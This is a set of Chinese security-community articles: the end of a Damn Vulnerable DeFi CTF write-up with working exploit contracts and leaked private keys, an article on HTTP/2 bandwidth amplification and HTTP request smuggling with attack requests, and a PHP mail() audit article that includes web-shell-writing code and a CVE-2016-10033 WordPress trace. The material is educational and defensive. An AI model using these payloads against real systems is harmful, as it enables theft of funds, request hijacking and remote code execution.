actionToExecute.executedAt == 0 &&
(block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
);
}
}
这提醒了我们，如果能利用这里的 call，调用 `drainAllFunds()` 函数，即可顺利解决本题。继续阅读调用的条件：
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
require(receiver != address(this), "Cannot queue actions that affect Governance");
uint256 actionId = actionCounter;
GovernanceAction storage actionToQueue = actions[actionId];
actionToQueue.receiver = receiver;
actionToQueue.weiAmount = weiAmount;
actionToQueue.data = data;
actionToQueue.proposedAt = block.timestamp;
actionCounter++;
emit ActionQueued(actionId, msg.sender);
return actionId;
}
function _hasEnoughVotes(address account) private view returns (bool) {
uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
return balance > halfTotalSupply;
}
很明显我们可以通过贷款池的贷款操作，满足 `_hasEnoughVotes()` 的条件，然后构造好特定 data 后传入 `queueAction()`
函数，然后归还贷款，最后执行 `executeAction()` 函数，触发我们的 payload，成功清空贷款池。根据思路编写并部署攻击合约，成功利用：
pragma solidity ^0.6.0;
import "../DamnValuableTokenSnapshot.sol";
interface ISelfiePool {
function flashLoan(uint256 borrowAmount) external;
function drainAllFunds(address receiver) external;
}
interface ISimpleGovernance {
function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256);
function executeAction(uint256 actionId) external payable;
}
contract AttackSelfie {
address public owner;
ISelfiePool public pool;
ISimpleGovernance public governance;
uint256 public actionId;
constructor(ISelfiePool _pool, ISimpleGovernance _governance) public {
owner = msg.sender;
pool = _pool;
governance = _governance;
}
function attack0(uint256 amount) public {
pool.flashLoan(amount);
}
function receiveTokens(address _token, uint256 _amount) public {
DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
token.snapshot();
bytes memory data = abi.encodeWithSignature(
"drainAllFunds(address)",
owner
);
actionId = governance.queueAction(address(pool), data, 0);
token.transfer(address(pool), _amount);
}
function attack1() public {
governance.executeAction(actionId);
}
}
const AttackReward = contract.fromArtifact('AttackReward');
it('Exploit', async function () {
await time.increase(time.duration.days(5));
const attack = await AttackReward.new(this.liquidityToken.address, this.rewardToken.address, this.flashLoanPool.address, this.rewarderPool.address, { from: attacker});
await attack.attack(TOKENS_IN_LENDER_POOL, { from: attacker });
});
## Compromised
> While poking around a web service of one of the most popular DeFi projects
> in the space, you get a somewhat strange response from their server. This is
> a snippet:
>
>
> HTTP/2 200 OK
> content-type: text/html
> content-language: en
> vary: Accept-Encoding
> server: cloudflare
>
> 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59
> 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47
> 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a
> 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35
>
> 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59
> 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32
> 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a
> 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34
>
>
> A related on-chain exchange is selling (absurdly overpriced) collectibles
> called “DVNFT”, now at 999 ETH each
>
> This price is fetched from an on-chain oracle, and is based on three trusted
> reporters:
> `0xA73209FB1a42495120166736362A1DfA9F95A105`,`0xe92401A4d3af5E446d93D11EEc806b1462b39D15`
> and `0x81A5D6E50C214044bE44cA0CB057fe119097850c`.
>
> You must steal all ETH available in the exchange.
本题要求我们从交换所中提走全部的 ETH，阅读交换所的合约代码：
contract Exchange is ReentrancyGuard {
using SafeMath for uint256;
using Address for address payable;
DamnValuableNFT public token;
TrustfulOracle public oracle;
event TokenBought(address indexed buyer, uint256 tokenId, uint256 price);
event TokenSold(address indexed seller, uint256 tokenId, uint256 price);
constructor(address oracleAddress) public payable {
token = new DamnValuableNFT();
oracle = TrustfulOracle(oracleAddress);
}
function buyOne() external payable nonReentrant returns (uint256) {
uint256 amountPaidInWei = msg.value;
require(amountPaidInWei > 0, "Amount paid must be greater than zero");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(amountPaidInWei >= currentPriceInWei, "Amount paid is not enough");
uint256 tokenId = token.mint(msg.sender);
msg.sender.sendValue(amountPaidInWei - currentPriceInWei);
emit TokenBought(msg.sender, tokenId, currentPriceInWei);
}
function sellOne(uint256 tokenId) external nonReentrant {
require(msg.sender == token.ownerOf(tokenId), "Seller must be the owner");
require(token.getApproved(tokenId) == address(this), "Seller must have approved transfer");
// Price should be in [wei / NFT]
uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
require(address(this).balance >= currentPriceInWei, "Not enough ETH in balance");
token.transferFrom(msg.sender, address(this), tokenId);
token.burn(tokenId);
msg.sender.sendValue(currentPriceInWei);
emit TokenSold(msg.sender, tokenId, currentPriceInWei);
}
receive() external payable {}
}
可以发现无论是卖出还是买入，其价格均由 `oracle.getMedianPrice(token.symbol());`
决定，而定位相应的源码，可以发现真正的计算公式如下：
function _computeMedianPrice(string memory symbol) private view returns (uint256) {
uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));
// calculate median price
if (prices.length % 2 == 0) {
uint256 leftPrice = prices[(prices.length / 2) - 1];
uint256 rightPrice = prices[prices.length / 2];
return (leftPrice + rightPrice) / 2;
} else {
return prices[prices.length / 2];
}
}
而唯一修改价格的方式如下：
modifier onlyTrustedSource() {
require(hasRole(TRUSTED_SOURCE_ROLE, msg.sender));
_;
}
function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
_setPrice(msg.sender, symbol, newPrice);
}
function _setPrice(address source, string memory symbol, uint256 newPrice) private {
uint256 oldPrice = pricesBySource[source][symbol];
pricesBySource[source][symbol] = newPrice;
emit UpdatedPrice(source, symbol, oldPrice, newPrice);
}
这意味着，当且仅当我们控制了 TrustedSource，我们就能控制购买的价格。此时恰好发现，题目提供的信息其实是其中两个 TrustedSource
的私钥：
#!/usr/bin/env python2
def get_private_key(bytes):
return ''.join(bytes.split(' ')).decode('hex').decode('base64')
get_private_key('4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35')
# 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9 => 0xe92401A4d3af5E446d93D11EEc806b1462b39D15
get_private_key('4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34')
# 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48 => 0x81A5D6E50C214044bE44cA0CB057fe119097850c
通过我们控制的 TrustedSource，我们能任意修改买入卖出的价格，最后编写利用的代码如下：
it('Exploit', async function () {
const leakedAccounts = ['0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9', '0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48'].map(pk=>web3.eth.accounts.privateKeyToAccount(pk));
for (let account of leakedAccounts) {
await web3.eth.personal.importRawKey(account.privateKey, '');
web3.eth.personal.unlockAccount(account.address, '', 999999);
// 修改最低价
await this.oracle.postPrice('DVNFT', 0, { from: account.address });
}
// 买入
await this.exchange.buyOne({ from: attacker, value: 1 });
// 修改为最高价格
const exchangeBalance = await balance.current(this.exchange.address);
await this.oracle.postPrice("DVNFT", exchangeBalance, { from: leakedAccounts[0].address});
await this.oracle.postPrice("DVNFT", exchangeBalance, { from: leakedAccounts[1].address});
await this.token.approve(this.exchange.address, 1, { from: attacker });
// 卖出
await this.exchange.sellOne(1, { from: attacker })
});
## Puppet
> There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you
> first need to deposit twice the borrow amount in ETH as collateral. The pool
> currently has 10000 DVTs in liquidity.
>
> There’s a DVT market opened in an [Uniswap v1
> exchange](https://uniswap.org/docs/v1/), currently with 10 ETH and 10 DVT in
> liquidity.
>
> Starting with 100 ETH and 100 DVTs in balance, you must steal as many tokens
> as possible from the lending pool. And at the end of the attack, your ETH
> balance shouldn’t have decreased.
题目最核心的代码 `borrow()` 函数会根据传入的 ETH 数目，借出对应数目的 token，其中数目计算的关键在于
`computeOraclePrice()` 函数:
function borrow(uint256 borrowAmount) public payable nonReentrant {
uint256 amountToDeposit = msg.value;
uint256 tokenPriceInWei = computeOraclePrice();
uint256 depositRequired = borrowAmount.mul(tokenPriceInWei) * 2;
require(amountToDeposit >= depositRequired, "Not depositing enough collateral");
if (amountToDeposit > depositRequired) {
uint256 amountToReturn = amountToDeposit - depositRequired;
amountToDeposit -= amountToReturn;
msg.sender.sendValue(amountToReturn);
}
deposits[msg.sender] += amountToDeposit;
// Fails if the pool doesn't have enough tokens in liquidity
require(token.transfer(msg.sender, borrowAmount), "Transfer failed");
}
继续阅读合约的源代码，可以发现 `computeOraclePrice()` 计算过程存在着一定问题，如果 `uniswapOracle.balance <
token.balanceOf(uniswapOracle)`，那么得到的结果其实是 0：
function computeOraclePrice() public view returns (uint256) {
return uniswapOracle.balance.div(token.balanceOf(uniswapOracle));
}
那么解题的思路非常明确，先通过调用 Uniswap v1 提供的 `tokenToEthSwapInput()` 函数，将我们拥有的部分 token 转换成
ETH，满足 `uniswapOracle.balance < token.balanceOf(uniswapOracle)` 的要求，然后直接调用
`borrow()` 函数，用 0 的代价清空贷款池。编写利用的代码：
it('Exploit', async function () {
const deadline = (await web3.eth.getBlock('latest')).timestamp + 300;
await this.token.approve(this.uniswapExchange.address, ether('0.01'), { from: attacker });
await this.uniswapExchange.tokenToEthSwapInput(ether('0.01'), 1, deadline, { from: attacker });
await this.lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE, { from: attacker });
});
本题的考点非常经典，如果有阅读过现成源代码经历的同学就会意识到，真正正确的做法是将需要转换的币种，先做乘法运算，得到一个较大的数字之后再去做除法运算，这样才能得到一个正确的数字，否则在不存在小数的情况下，很容易得到一个过小的数字（甚至是
0）。
## 总结
这 8 道题目的非常有意思地总结了现有 DeFi
项目在开发过程中可能或已经遇到的问题，以及生态中的一些薄弱点，并将这些知识通过题目的方式展现给了大家。在做完这些题目后，对智能合约的安全，特别是整个
DeFi 生态安全有了更清醒的认识。 | 社区文章 |
# HTTP协议攻击方法汇总（上）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
最近一段时间,部门的小伙伴们看了一些HTTP协议相关的攻击方法，现做一个汇总。
由于内容比较多，分上下两部分进行发布。
上半部分：
* 《HTTP/2 Bandwidth Amplifification Attack》 作者：donky16
* 《HTTP Request Smuggling漏洞利用与检测》作者：jweny
## HTTP/2 Bandwidth Amplifification Attack
**Author:** donky16[@360](https://github.com/360 "@360")云安全
一种利用支持HTTP/2协议的CDN进行带宽放大攻击的方法
### 关于HTTP/2
HTTP/2标准于2015年5月以RFC
7540正式发表，基于SPDY协议。根据[W3Techs](https://w3techs.com/)的数据，截至2019年6月，全球有36.5%的网站支持了HTTP/2。
HTTP/2协议相对于HTTP/1.1在性能上有了很大的提升，主要具有以下新特性
1. 二进制分帧
2. 请求与响应复用
3. 服务端推送
4. 头部压缩
### HTTP/2头部压缩
由于在HTTP/1.1协议中，大量请求中都会出现相同的头部字段，这些字段消耗了大量资源。在HTTP/2协议中，使用了HPACK格式压缩对请求和响应头部进行了压缩。
压缩方法：
* 字典：包括静态字典和动态字典，静态字典包括常见的头部字段名，和常见的对应字段值。动态字典用于动态地添加一些新出现的头部字段。为了限制解码器的存储要求，动态表的大小是需要进行限制的，这个值可以通过HTTP/2中的SETTINGS_HEADER_TABLE_SIZE来设置。
* 霍夫曼编码：使用霍夫曼编码进行头部数据的压缩。
所以对于一个TCP连接，在客户端与服务端中，都需要维护一份字典。
### HTTP/2测试
简单地搭建一个支持HTTP/1.1和HTTP/2的Web服务，分别使用HTTP/1.1协议和HTTP/2协议同时发起100个请求，并携带很大并且相同的Cookie，这里Cookie选取`Cookie:
A=a*1500;
B=b*1500`。由于HTTP/2的头部压缩，除第一个请求其他请求的Cookie都是经过压缩的，下面是两种协议请求时iftop获取到的大致的带宽情况。
HTTP/1.1(Cookie: A=a*1500; B=b*1500)
HTTP/2(Cookie: A=a*1500; B=b*1500)
### CDN HTTP/2带宽放大攻击
由于HTTP/2性能上的优越，目前很多CDN都支持HTTP/2协议，CloudFlare甚至默认打开HTTP/2并且无法关闭。但是由于很多网站的源并只支持HTTP/1.1协议，这导致了CDN和客户端使用HTTP/2连接，而CDN只能使用HTTP/1.1和源站连接，所以CDN需要将Web请求从HTTP/2转换到HTTP/1.1，然后在转发到源站。
由于HTTP/2的头部压缩功能，客户端发送的HTTP/2头部，将被CDN转换为HTTP/1.1头部并转发到源，这种转换必然会导致头部内容解压，从而导致带宽放大。
前面已经提到，HTTP/2连接中，动态表的大小是不能过大的，所以需要尽量在动态表大小不超过范围的情况下使头部字段值变大，从而使压缩率变高，提高放大率。除此之外，HTTP/2使用一个TCP连接进行多路复用，如果同时在一个HTTP/2连接中发送大量请求，这些头部数据都会进行压缩，从而提高放大率，但是对于HTTP/2来说，会设置最大的并发流来进行限制。
对于CDN来说，也会进行最大并发流的设置，作者这里测试了CloudFlare和Fastly
CDN，CloudFlare支持最大并发流数是256，Fastly则是100，头部选取了Cookie字段，值大约为3000B。对于Fastly
CDN，只是建立 **一个（注意是只有一个）**
HTTP/2连接，同时发送99个请求，下图为CDN转发请求到源站时，iftop获取的带宽情况，可以达到13Mbps,放大率在80倍左右。
测试过程中发现CloudFlare
CDN放大效果不明显，分析源站日志才发现，255个并发流中，使用url为/?random_str的方式，无论GET还是POST，只有几个请求转发到源站了，应该是对这种攻击做了防护。
### 引用
<https://www.anquanke.com/post/id/208758#h2-4>
<https://halfrost.com/http2-header-compression/>
## HTTP Request Smuggling漏洞利用与检测
这一段时间研究了HRS漏洞原理、利用姿势以及检测方式。接下来做一个简单的分析。
**Author：** jweny [@360](https://github.com/360 "@360")云安全
### 0x01 漏洞原理
**HTTP Request Smuggling的基本概念建议阅读[这里](https://paper.seebug.org/1048/)
，该文已经分析的很透彻，这里就不再赘述。**
值得一提的是，在测试该文的数据包时，由于所有测试都是指定`Content-Length`长度，因此需要关闭burp的自动更新`Content-Length`。
总结来说，大多数HRS漏洞成因是HTTP规范提供了两种不同的方法来指定请求的结束位置， **二者互斥使用** ：
* **Content-Length** 字节为单位，一直取到该长度的字节结束。
* **Transfer-Encoding** 用来以指定的编码形式对Body进行编码。 chunked | compress | deflate | gzip | identity
HTTP/1.1 倾向于使用 keep-alive
长连接进行通信，尤其是前后端之间，可以提高通讯效率，而现在的网站通常使用多级代理模式对外开放Web服务，包括（CDN、WAF、负载均衡、Nginx等），更多时候反向代理采取的措施是重用
TCP 链接，因为对于反向代理与后端服务器来说，反向代理服务器与后端服务器 IP 相对固定，不同用户的请求通过代理服务器与后端服务器建立链接，将这两者之间的
TCP 连接进行重用，也就顺理成章了。
如果前后端服务器对于 **Content-Length** 和 **Transfer-Encoding**
的解析处理方法不一致，当我们向前端服务器发送一个比较模糊的HTTP请求时，前端可能认为这是一个完整的HTTP请求，然后将其转发给了后端。
后端服务器经过解析只认为其中的一部分是正常请求，剩下的那部分就成了“走私的请求”，进入到TCP回话的缓冲区，将会对下一个到达后端的HTTP请求造成影响，这就是HTTP
Request Smuggling（HTTP请求走私，简称HRS）。
### 0x02 常见利用方式
**1 改变其他用户请求路径**
当用户发起正常请求时，被引导到其他uri。例如：
POST /login HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 35
0
GET /robots.txt HTTP/1.1
X:X
构造类似的请求包，前端将完整请求转发给后端，但后端读到0\r\n\r\n时，认为本次请求结束。那么图中的红色部分将进入缓冲区：
此时当我们的下一个请求到达时，那么请求将变为：
GET /robots.txt HTTP/1.1
X:XGET / HTTP/1.1 //这里解析错误 将直接被忽略
Host: vulnerable-website.com
...
原本正常访问 / 的用户，得到的响应却是 /robots.txt 。这里有点csrf的意思。
**2 绕过前端的访问控制**
在web系统中，前端服务器通常对一些敏感的URL配置访问控制，只有在用户访问被授权的URL时，前端才转发请求到后端。而后端一般也会配置访问控制，如只允许前端服务器调用。
举个栗子，例如前端限制了/admin不允许访问，后端限制/admin接口只允许前端访问（此类场景很多，常见的如/admin等管理后台）。
这种场景下，可以通过HRS携带受限URL，来绕过前端的访问控制，越权请求后端API。
流程类似于2.1，只不过两次请求都由攻击者发起。不过当用户量大或者后端负载均衡的网站，利用起来比较困难，因为攻击者要捕获到写进缓冲区的数据。
**3 获取其他用户cookie**
当网站有编辑/保存功能时，可以将受害者的完整的请求保存到攻击者的编辑页面。例如：
如果存在TE-CL漏洞，那么前端将转发完整请求到后端，后端按照`Content-Length`
=4（body为`46\r\n`）处理请求。所以上图红色部分将进入缓冲区。
此时当受害者请求时，后端服务器收到的`Content-Length` =100的post 请求，此时受害者的请求头都将作为post body的一部分。
如果 `/somewhere` 接口是内容编辑/存储接口，可以将受害者的完整的请求保存到攻击者的编辑页面。
**4 结合反射型xss实现自动交互**
结合HRS的反射型xss有两个优点：
* 不需要与受害者用户进行交互。攻击者无需向他们提供URL，也不用等待访问，通过HRS后端服务器将直接受害者的请求。
* 可以用于在请求头中利用XSS。正常的反射XSS无法轻松控制HTTP请求头，例如Web应用在`User-Agent`中有反射xss：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 63
Transfer-Encoding: chunked
0
GET / HTTP/1.1
User-Agent: <script>alert(1)</script>
Foo: X
**5 开放重定向**
某些后端服务器会默认本地重定向，并将url 的`host`从请求头的`Host`放入重定向URL。
例如Apache和IIS 对不带斜杠的文件夹的请求，将会重定向到该文件夹+ “/“。例如：
GET /home HTTP/1.1
Host: normal-website.com
HTTP/1.1 301 Moved
PermanentlyLocation: https://normal-website.com/home/
一般来说，该行为是没问题的。但是HRS可以利用它来开放重定向，将受害者重定向到其他域。例如：
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Transfer-Encoding: chunked
0
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
此时后端服务器处理下一个用户的请求时将变成：
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
此时受害者请求的一个JS，该文件是由页面导入的。此时攻击者可以通过在响应中返回恶意JS。
**6 web缓存投毒**
基于2.5节开放重定向的基础上，如果前端服务器启用了内容缓存，那么后端服务器返回之后，前端服务器将缓存/static/include.js为攻击者的js。
这个影响是持久的，当其他用户请求此URL时，他们也将会重定向到attacker-website.com。
GET /static/include.js HTTP/1.1
Host: vulnerable-website.com
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
### 0x03 检测思路
检测思路来自于
[这里](https://blog.riskivy.com/%E6%B5%81%E9%87%8F%E5%A4%B9%E5%B8%A6http-request-smuggling-%E6%A3%80%E6%B5%8B%E6%96%B9%E6%A1%88%E7%9A%84%E5%AE%9E%E7%8E%B0/)，这里提供下检测demo。
**1 CL-TE**
**Payload:**
POST / HTTP/1.1
Host: test.com
Transfer-Encoding: chunked
Content-Length: 4
1\r\n
Z\r\n
Q\r\n
\r\n
\r\n
**检测思路：**
`Content-Length` 为 4时，此时后端chunk收到的长度为1的数据块，但是没有结束标志，一直等待，导致前端响应超时（一般超过5s）。
POST / HTTP/1.1
Host: test.com
Transfer-Encoding: chunked
Content-Length: 4
1\r\n
Z
`Content-Length` 为 11时，此时的G是一个无效的块大小值，所以请求结束，不会超时。
POST / HTTP/1.1
Host: test.com
Transfer-Encoding: chunked
Content-Length: 11
1\r\n
Z\r\n
G\r\n
\r\n
因此如果 `Content-Length` 为 4的响应大于5s ，且 `Content-Length` 为 4的请求时间远大于 `Content-Length` 为 11的请求时间，说明存在漏洞。
**2 TE-CL**
**Payload：**
POST / HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding : chunked
0\r\n
\r\n
X
**检测思路：**
`Content-Length` 为 6时，后端处理的`Content-Length`为6，但收到的数据体0\r\n\r\n，因此后端会一直等待第6个字节，直到超时。
POST / HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding : chunked
0\r\n
\r\n
`Content-Length` 为 5时，后端收到的数据体0\r\n\r\n，不会超时。
POST / HTTP/1.1
Host: test.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding : chunked
0\r\n
\r\n
因此如果 `Content-Length` 为 6的响应大于5s ，且 `Content-Length` 为 6的请求时间远大于 `Content-Length` 为 5的请求时间，说明存在漏洞。
**3 核心demo实现**
因为CL-TE和TE-CL互斥，因此如果存在CL-TE就跳过TE-CL检测，但检测到存在了漏洞时，进行recheck确认后输出。
完整代码：<https://github.com/jweny/HTTP-Request-Smuggling-Checker>
def check_CLTE(self):
result = self.calcTime(4, "1\r\nZ\r\nQ\r\n\r\n\r\n", 11, "1\r\nZ\r\nQ\r\n\r\n\r\n")
return result
def check_TECL(self):
result = self.calcTime(6, "0\r\n\r\nX", 5, "0\r\n\r\n")
return result
def calcTime(self, length_big_time, payload_big_time, length_small_time, payload_small_time):
# todo 判断self.payload_headers 不为空
for headers in self.payload_headers:
headers['Content-Length'] = length_big_time
big_time = self.getRespTime(headers, payload_big_time)
if not big_time:
big_time = 0
if big_time < 5:
continue
# Content-Length == 11
headers['Content-Length'] = length_small_time
small_time = self.getRespTime(headers, payload_small_time)
if not small_time:
small_time = 1
if big_time > 5 and big_time / small_time >= 5:
self.valid = True
self.type = "CL-TE"
self.result_headers = [headers]
return True
return False
### 0x04 参考链接
1. <https://portswigger.net/web-security/request-smuggling/exploiting>
2. [https://blog.riskivy.com/流量夹带http-request-smuggling-检测方案的实现/](https://blog.riskivy.com/%E6%B5%81%E9%87%8F%E5%A4%B9%E5%B8%A6http-request-smuggling-%E6%A3%80%E6%B5%8B%E6%96%B9%E6%A1%88%E7%9A%84%E5%AE%9E%E7%8E%B0/)
3. <https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn>
4. <https://paper.seebug.org/1048/> | 社区文章 |
# 前言
准备重新写一个关于php敏感函数的系列文章，通过这些知识点能尽快的认识到一些函数在默认参数情况下（或者说习惯做法）可能造成的风险，同时也能让我们在代码审计时能够较快的定位漏洞点，大大提高审计效率。每篇文章都会从函数使用方法介绍、漏洞分析两方面进行总结，最后应该还会跟着一些审计实例。文章比较基础，并且已经有很多类似文章，主要定位就是给代码审计新手作为学习资料的，毕竟自己也是小白，写不出太深奥的文章，出一个系列，也是为了方便查找资料，提高审计效率。
****正文****
这篇文章主要来介绍一下mail（）函数在实际运用中可能出现的任意文件读取和任意命令执行的问题。
# 1\. 函数使用方法及漏洞成因介绍
mail(to,subject,message,headers,parameters)
通过官方介绍，我们可以看出来mail函数一共有5个参数：
$to --规定邮件接受者（必需）
$subject -- 规定邮件的主题。该参数不能包含任何换行字符（必需）
$message -- 邮件要发送的信息（必需）
$headers -- 规定额外的报头，比如 From, Cc 以及 Bcc。(可选)
$parameters -- 规定 sendmail 程序的额外参数。（可选）
可以明确的看出来mail（）函数的第五个参数是规定sendmail的额外参数，也就是说可以直接把参数内容传递给sendmail。虽然是可选的，但还是有很大一部分代码加带了这个参数。
看似没有任何毛病，但是问题就出在传递给sendmail时没有任何过滤，我们再来看一下sendmail有什么功能（功能有很多，我只选择了几个和漏洞有关系的功能）：
-O option=valueSet option option to the specified value. This form uses long names. See below for more details.
-X logfileLog all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
-C fileUse alternate configuration file. sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
QueueDirectory=queuedirSelect the directory in which to queue messages.
根据官方介绍，sendmail的-O参数是设置一些缺省值。而在mail（）相关漏洞中我们需要设置的是QueueDirectory这个值，他是用来存放mail中的消息队列的。-X参数是用来写入日志文件的，但是sendmail并没有限制日志的写入目录和日志格式，导致我们可以写入任意格式的“日志文件”到任意目录。-C参数用来加载一些配置文件，和-X一样，我们可以加载任意目录的任意格式的“配置文件”。
# 2\. mail函数可能造成的风险和问题
通过上面mail函数的使用方法和漏洞成因我们知道了，如果不限制第五个参数的内容，而直接传给sendmail的话，就有可能造成任意文件读取和任意文件写入的问题。
## 任意文件读取：
测试代码：
<?php
$to = '[email protected]';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -C/var/www/html/phpinfo.php -X/var/www/html/1.txt';
mail($to, $subject, $message, $headers, $options);
?>
其中-O规定临时目录为/tmp -C加载phpinfo.php为配置文件
-X把日志文件写入/var/www/html/1.txt（因为是读取，所以我用的1.txt，当然可以是任意后缀）
就会导致任意文件读取，把phpinofo.php的内容作为配置文件加载，然后把文件内容写入日志文件1.txt中
## 任意文件写入：
测试代码：
<?php
$to = '[email protected]';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
mail($to, $subject, $message, $headers, $options);
?>
直接把文件内容写入到rce.php中。即可完成我们的写shell工作。
# 3\. mail()实例审计（以wordpress为例CVE-2016-10033）
wordpress在<
4.7.1的版本中，因为mail函数的原因，会导致远程代码执行漏洞。这里给大家来演示一下审计过程，我这里的审计还是从mail（）函数出发，来说一下如何快速定位漏洞点。
在实际的审计中，我们知道了mail（）函数会导致一定的风险，那么我们再审计的时候，可以全局搜索一下mail（），看看有没有函数造成风险的代码，在wordpress中，我们用法师的审计工具进行全局搜索mail
在第49行，我们看到mail函数中存在第五个参数，随机查看相关代码：
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode, calling mail() with null params breaks
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}
可以看到第五个参数$params由mailPassthru传入，也就是说如果我们控制了这个参数就会导致相应的问题，我们继续网上追，来看一下我们能不能控制这个地方
只有一个地方调用了mailPassthru() ，查看相应代码：
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
// CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
if (self::isShellSafe($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
}
if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}
可以看到$params = sprintf('-f%s', $this->Sender); 继续追$this->Sender
可以看到$this->Sender在setFrom()中由$adress获得，而$address是setFrom()的第一个参数，于是继续追setFrom()
查看代码：
if ( !isset( $from_name ) )
$from_name = 'WordPress';
if ( !isset( $from_email ) ) {
// Get the site domain and get rid of www.
$sitename = strtolower( $_SERVER['SERVER_NAME'] );
if ( substr( $sitename, 0, 4 ) == 'www.' ) {
$sitename = substr( $sitename, 4 );
}
$from_email = 'wordpress@' . $sitename;
}
...
$phpmailer->setFrom( $from_email, $from_name, false );
可以看出来setFrom的第一个参数$from_email由$from_email = 'wordpress@' .
$sitename;获得，而$sitename由$_SERVER['SERVER_NAME']获得，在实际的利用中我们是可以控制SERVER_NAME的，也就是可以控制$sitename，从而能够控制mail（）的第五个参数，从而造成漏洞的产生，当然要在wordpress中利用这个漏洞，还需要绕过一些过滤，这不是本文的重点。网上也有很多相应的绕过分析，大家可以去参考。
分析漏洞所用的wordpress版本已经在附件中打包。 | 社区文章 |
